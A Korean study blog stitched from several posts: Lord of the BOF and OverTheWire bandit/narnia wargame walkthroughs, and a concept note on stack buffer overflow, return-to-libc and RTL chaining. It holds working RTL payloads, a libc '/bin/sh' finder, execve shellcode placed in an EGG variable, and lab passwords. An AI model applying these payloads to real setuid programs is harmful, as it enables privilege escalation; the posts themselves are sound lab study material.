0x80484c6 <main+134>:   call   0x8048374 <strncpy>

0x80484cb <main+139>:   add    $0xc,%esp

0x80484ce <main+142>:   lea    0xffffffd8(%ebp),%eax

0x80484d1 <main+145>:   push   %eax

0x80484d2 <main+146>:   push   $0x804857e

0x80484d7 <main+151>:   call   0x8048354 <printf>

0x80484dc <main+156>:   add    $0x8,%esp

0x80484df <main+159>:   leave

0x80484e0 <main+160>:   ret


End of assembler dump.


[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ./newbie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\xb0\xfa\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@°ú ¿߄

bash$

bash$ exit

exit

Segmentation fault (core dumped)

[assassin@localhost assassin]$ ./zombie_assassin `perl -e 'print "AAAA", "\xe0\x8a\x05\x40", "BBBB", "\xf9\xbf\x0f\x40", "\x90"x24, "\xb0\xfa\xff\xbf", "\xdf\x84\x04\x08"'`

AAAA@BBBBù¿@°ú ¿߄

bash$ my-pass

euid = 516

근데 이상한거 하나 잘못하다가 bash2 무작정 많이 돌려놨거든여 그래서 ps하면 bash2가 3개정도 돌아가고있어쓴ㄴ데 그러면 공격이 안되더라고여 (다른 세션으로 했는데 공격되는데 막 내가쓰는건 안댐)그래서 다 bash까지 exit하고서 다시 bash2하니까 되네요 왜그럼

그리고 예전에 libc에서 /bin/sh문자열 찾는 소스 구해서 여따가 썼는데.. 사이트 아마 저장해뒀을테니까 찾아볼께요 이번에 다시 완전히 처음부터 해보려고 소스던 로그던 다날려서 못찾음..ㄸㄹㄹ

그나저나 하.. 어렵다! 두단계남았다! 배고프다! 2시다!!! 으랴


+)로그 안날아갔다고 합니다 똑똑한 토끼를 칭찬해주세여 하지만 또 올릴 필요는 없으니 /bin/sh찾는 소스만 올리겠습니다

-해당 소스-

[assassin@localhost assassin]$ cat foo.c

main(){

        char *p;


        p = 0x4002c000;

        while (1) {

                while (*p++ != '/') ;

                if (strcmp(p-1, "/bin/sh") == 0) {

                        printf("0x%08x\n", p-1);

                        return 0;

                }

        }

}

출처는 <http://www.win.tue.nl/~aeb/linux/hh/hh-10.html>여기서 찾았습니다.

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

succubus->nightmare  (0) 2014.07.10
zombie_assassin->succubus  (0) 2014.07.08
assassin->zombie_assassin  (0) 2014.05.13
giant->assassin  (0) 2014.04.22
bugbear->giant(1)  (0) 2014.04.16
반응형

조금 너무 간결한 개념설명(정리)

RedHat 6.2 기준 스택 버퍼오버플로우에 대한 글 입니다.

모든 지적 다 감사히 받습니다


정말 개념만 설명하고 싶었습니다. 가장 기본적인 것들만 적어놓았으니 이런 개념이구나 참고만 하시기 바랍니다 :)


[1] Buffer Overflow (BOF)

#include<stdio.h>

main(int argc, char *argv[])

{

char buffer[40];

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}


이런 코드가 있을 때 메모리의 상황은

(낮은 주소)[buffer(40 bytes)] [(Saved)Frame Pointer(4 bytes)] [Return Address(RET) (4bytes)](높은 주소)

이렇게 되게 된다.  (스택이 자라는 방향: 낮은주소 ← 높은주소, 스택은 LIFO(Last-In-First-Out))


*)SFP(Saved Frame Pointer)란?- 처음에 함수 프롤로그(push %ebp)에 의해 저장된 EBP의 값이다 (함수에서 지역변수들이 사용될 때 그 기준으로 EBP가 쓰이는데 타 함수로 넘어갈 경우 다시 돌아왔을 때 ebp를 복귀시켜야 하니 저장해두는 값. 함수가 시작했을때 당시 최초의 EBP 주소를 가리키고 있다)

*)RET(Return Address)란?- EIP(Extended Instruction Pointer)가 가리킬 곳을 가르쳐주는 주소값. EIP는 프로그램이 끝난 후 돌아갈 주소를 가지고 있다.


위의 소스에서 strcpy때문에 버퍼오버플로우가 생기게 되는데, 만약에 버퍼(유저입력으로) 48바이트를 넣는다면 유저의 입력이 버퍼인 40바이트 뿐만아니라 버퍼 뒤에 있는 SFP와 RET까지 덮어버려 프로그램의 실행을 바꾸기 때문이다. RET는 EIP, 즉 함수 실행이 끝난 뒤 어디로 EIP가 가야 할 지 가르쳐주는 역할을 가지고 있기 때문에 만약에 사용자가 RET를 덮어쓴다면 사용자가 입력한 주소로 프로그램의 실행이 계속 되게 된다. 이를 이용해 버퍼에 쉘코드를 넣고 RET를 버퍼의 시작 주소값 또는 NOPSLED 중 하나의 주소값으로 설정한다면 EIP는 버퍼로 가 쉘코드를 그대로 실행하게 된다.


예시:

Payload= "\x90"x20bytes, "Shellcode"x24bytes, "Buffer Address"x4bytes


*)NOPSLED란?- NOP(No OPeration)는 (Intel x86 CPU기준으로)"\x90"을 뜻하는데, 이 명령은 아무 동작도 하지 않고 다음 명령으로 넘어가라는 뜻이다. 만약에 NOP가 900개 있고 그 후에 쉘코드가 있다면 ESP(Extended Stack Pointer- 실행하는 명령을 가르키는 포인터)는 NOPSLED(미끄럼틀같이) 아무 명령도 실행하지 않고 계속 진행하다가 마지막에 있는 쉘코드를 실행하게 된다.

*)Little Endian이란?- 엔디안은 메모리에 수를 저장하는 방식인데, 차이점은 빅 엔디안과 리틀 엔디안에 12345678을 넣게 된다면, 빅 엔디안(이 방식을 쓰는 컴퓨터는 별로 없다)은 12 34 56 78로 메모리에 적재하는 반면 리틀 엔디안은 뒤에서부터 78 56 34 12 이렇게 두바이트씩 끊어 거꾸로 넣게 된다. 고로 리턴 어스레스 같은 경우에도 페이로드에 거꾸로 뒤집어 준 후 넣어야 한다. \x~~\x~~\xff\xbf <- 이런 식

설명은 <http://itguru.tistory.com/71>을 참고했습니다



[2] Return-to-Libc (RTL)

Libc란 공유 라이브러리를 뜻한다. 이 공유 라이브러리는 프로그램이 호출될 때 사용되는 함수를 포함하고 있으며 프로그램이 언제든지 함수를 호출할 때 사용된다.

아까와 같은 코드가 있다면, (위에서 다시 가져와보자)

#include<stdio.h>

main(int argc, char *argv[])

{

char buffer[40];

strcpy(buffer, argv[1]);

printf("%s\n", buffer);

}

물론 아까처럼 버퍼오버플로우를 사용하여 공격할 수도 있다. 하지만 이번에는 Libc를 사용해 공격해볼 것이다.

쉘을 따려면 system("/bin/sh");를 실행시키면 된다

프로그램을 gdb로 메인에 브레이크포인트(b main)를 건 후, 실행시킨 후 브레이크포인트에서 p system을 하면 system함수의 주소가 나온다.

RET를 이 시스템 함수의 주소로 하고, 그 후 4바이트 뒤에 &"/bin/sh" (/bin/sh의 주소) 를 넣으면 system이 ebp+8부터 인자를 참조하기 때문에 system("/bin/sh"); 를 실행하게 된다.

ebp+4에는(system함수 주소 뒤, /bin/sh주소 앞) 더미를 넣거나, 깔끔하게 끝내고 싶다면 exit의 주소를 넣으면 된다. 이곳은 system실행 후 돌아갈 ret을 저장하는 곳이기 때문이다.

예시:

Payload= "\x90"x44bytes, "system address"x4bytes, "exit address"x4bytes, "/bin/sh address"x4bytes



[3] RTL Chaining (Chaining RTL Calls)

RTL Chaining, 이건 위의 RTL과 비슷한 개념이다.

만약에 위와 같은 코드에 strcpy를 두번, system을 한번 이렇게 연속으로 실행하고 싶다고 가정해보자.(걍 머리에 떠오르는 함수,...)

그렇다면 이것들을 어떻게 실행시켜야 할까?

strcpy의 인자는 2개(char *dest, const char *source)이다. 인자가 하나라면 (function) (function) (argv) (argv) 이렇게 끼워서 두 번 실행시킬 수 있겠지만, 늘 함수 주소 뒤의 4바이트를 인자로 참조하기 때문에 인자가 2개인 strcpy는 1번 이상 사용할 수 없다.

&strcpy &strcpy(x) &dest &source <...어떻게 전달하지?>


RTL Chaining을 사용하면 된다!!(??뜬금 느낌표)

우선 개념도를 적어놓겠다.

&strcpy &poppopret &dest &source &strcpy &poppopret &dest &source &system &exit &/bin/sh

pop- Stack에서 데이터를 빼는 것 말고도 pop는 esp+4를 하게 되기 때문에 다음 인스트럭션을 가르키게 된다. 이 경우에는 가젯이 pop pop ret이기 때문에 strcpy를 실행하고 인자를 두 개 전달한 뒤, pop pop ret을 이용해 두 인자를 건너뛰고 그 뒤에 있는 두 번째 strcpy의 주소를 ret하여 다시 실행하게 되는 것이다.

*)가젯(Gadget)이란?- 프로그램 내부의(함수에) 기계어로 된 ret로 끝나는 코드의 조각으로써 필요한 가젯을 찾아 공격자의 마음대로 사용하면 된다

만약에 건너뛰어야 하는 인자가 3개라면, pop pop pop ret, 하나라면 pop ret을 찾아 사용하면 되는 것이다.


[4] SFP overwrite (One-byte Overflow)


[5] Fake EBP (FEBP)

<기말공부다하고돌아오겟슴니다>


반응형

'STUDY > Documentation' 카테고리의 다른 글

핸드레이  (0) 2015.09.05
strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
Key File  (0) 2014.05.16
Frame Pointer Overwrite/One Byte Overflow  (5) 2014.04.06
[CodeGate Junior Quals] RunCommand 250  (0) 2014.04.06
반응형

bandit 0

[SSH] Logged in (password)

bandit0@melinda:~$ ls

readme

bandit0@melinda:~$ cat readme

<password>


bandit1

[SSH] Logged in (password)

bandit1@melinda:~$ ls

-

bandit1@melinda:~$ cat ./-

<password>


bandit2

[SSH] Logged in (password)

bandit2@melinda:~$ ls

spaces in this filename

bandit2@melinda:~$ cat "spaces in this filename"

<password>


bandit3

[SSH] Logged in (password)

bandit3@melinda:~$ ls

inhere

bandit3@melinda:~$ cd inhere

bandit3@melinda:~/inhere$ ls

bandit3@melinda:~/inhere$ ls -al

total 12

drwxr-xr-x 2 root    root    4096 Jun  6  2013 .

drwxr-xr-x 3 root    root    4096 Jun  6  2013 ..

-rw-r----- 1 bandit4 bandit3   33 Jun  6  2013 .hidden

bandit3@melinda:~/inhere$ cat .hidden

<password>


bandit4

[SSH] Logged in (password)

bandit4@melinda:~$ ls

inhere

bandit4@melinda:~$ cd inhere

bandit4@melinda:~/inhere$ ls

-file00  -file01  -file02  -file03  -file04  -file05  -file06  -file07  -file08  -file09

bandit4@melinda:~/inhere$ cat ./-file04

[¢±B°

     §&6]‡U³w޽RZ!N™ohbandit4@melinda:~/inhere$ cat ./-file05

÷)ñ©'߳elš?-p#s¥•~$+øøŒ©bandit4@melinda:~/inhere$ cat ./-file06

¯<ÛDjüN#C|0™|§ ‰Tµ®ˆ„G±@àábandit4@melinda:~/inhere$ cat ./-file08

ŽŠññdCgˆb.<ê"Q 2Bö÷­{‘–é3Sbandit4@melinda:~/inhere$ cat ./-file09

—~іœ ‹õõ|±M^߮-%ƌ

³–¿²"^±kUbandit4@melinda:~/inhere$ cat ./-file07

<password>


bandit5

[SSH] Logged in (password)

bandit5@melinda:~$ ls

inhere

bandit5@melinda:~$ cd inhere

bandit5@melinda:~/inhere$ find -size 1033c

./maybehere07/.file2

bandit5@melinda:~/inhere$ cat ./maybehere07/.file2


bandit6

[SSH] Logged in (password)

bandit6@melinda:~$ ls

bandit6@melinda:~$ ls -al

total 20

drwxr-xr-x   2 root root 4096 Jun  6  2013 .

drwxr-xr-x 160 root root 4096 Oct 17  2013 ..

-rw-r--r--   1 root root  220 Apr  3  2012 .bash_logout

-rw-r--r--   1 root root 3486 Apr  3  2012 .bashrc

-rw-r--r--   1 root root  675 Apr  3  2012 .profile

bandit6@melinda:/home$ find -size 33c

./bandit21/.prevpass

./bandit15/.bandit14.password

find: `./bandit5/inhere': Permission denied

[...]

find: `/root': Permission denied


bandit6@melinda:/home$ find / -size 33c -user bandit7 -group bandit6 2>&1 | grep -v 'Permission denied'

/var/lib/dpkg/info/bandit7.password

bandit6@melinda:/home$ cat /var/lib/dpkg/info/bandit7.password

<password>

 +)Searched for: (Google) how to use find size group user options, how to ignore permission denied in linux find


bandit7

[SSH] Logged in (password)

bandit7@melinda:~$ ls

data.txt

<Opened the file, almost died>

bandit7@melinda:~$ grep "millionth" data.txt

millionth <password>

+)Searched for: how to grep for a string in file


bandit8

[SSH] Logged in (password)

bandit8@melinda:~$ ls

data.txt

bandit8@melinda:~$ sort data.txt | uniq -u

<password>

+)Searched for: how to exclude duplicate string in file


bandit9

[SSH] Logged in (password)

bandit9@melinda:~$ ls

data.txt

bandit9@melinda:~$ cat data.txt

<look through file, found the password at first glance>

O.o...No this is not the way I wanna...*cough cough*


bandit10

[SSH] Logged in (password)

bandit10@melinda:~$ ls

data.txt

bandit10@melinda:~$ cat data.txt

VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg==

bandit10@melinda:~$ echo VGhlIHBhc3N3b3JkIGlzIElGdWt3S0dzRlc4TU9xM0lSRnFyeEUxaHhUTkViVVBSCg== | base64 --decode

<password>

+)Searched for: how to decode base64 in bash


bandit11

[SSH] Logged in (password)

bandit11@melinda:~$ ls

data.txt

bandit11@melinda:~$ cat data.txt | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]'

<password>

+)Searched for: reverse rot13 using tr



반응형

'STUDY > overthewire' 카테고리의 다른 글

narnia 1  (0) 2014.05.16
narnia 0  (0) 2014.05.16
반응형

narnia 0 efeidiedae

narnia 1 nairiepecu

반응형

'STUDY > Documentation' 카테고리의 다른 글

strace, 제가 한번 사용해 보겠습니다.  (0) 2014.07.22
Buffer Overflow  (3) 2014.05.18
Frame Pointer Overwrite/One Byte Overflow  (5) 2014.04.06
[CodeGate Junior Quals] RunCommand 250  (0) 2014.04.06
MISCCCCCCCCCC!  (0) 2014.03.11
반응형

오예

l\narnia1@melinda:~$ cd /narnia

narnia1@melinda:/narnia$ ls

narnia0    narnia1    narnia2    narnia3    narnia4    narnia5    narnia6    narnia7    narnia8

narnia0.c  narnia1.c  narnia2.c  narnia3.c  narnia4.c  narnia5.c  narnia6.c  narnia7.c  narnia8.c

narnia1@melinda:/narnia$ cat narnia1.c


#include <stdio.h>


int main(){

        int (*ret)();


        if(getenv("EGG")==NULL){

                printf("Give me something to execute at the env-variable EGG\n");

                exit(1);

        }


        printf("Trying to execute EGG!\n");

        ret = getenv("EGG");

        ret();


        return 0;

}


narnia1@melinda:/narnia$ export EGG=`perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`


narnia1@melinda:/narnia$ ./narnia1

Trying to execute EGG!

$ whoami

narnia2

$ id

uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)

$ cat /etc/narnia_pass/narnia2

$

처음에 에그라 해서 어 음 에그쉘?(본적만 있고 써본적이 엄슴) 이랬는데 잘읽어보니 이 프로그램은 EGG환경변수에 저장되어있는걸 무조건 실행합니다. 리턴어드레스를 EGG가 있는곳으로 바꾸니까여.


반응형

'STUDY > overthewire' 카테고리의 다른 글

bandit [1~7]  (0) 2014.05.17
narnia 0  (0) 2014.05.16

+ Recent posts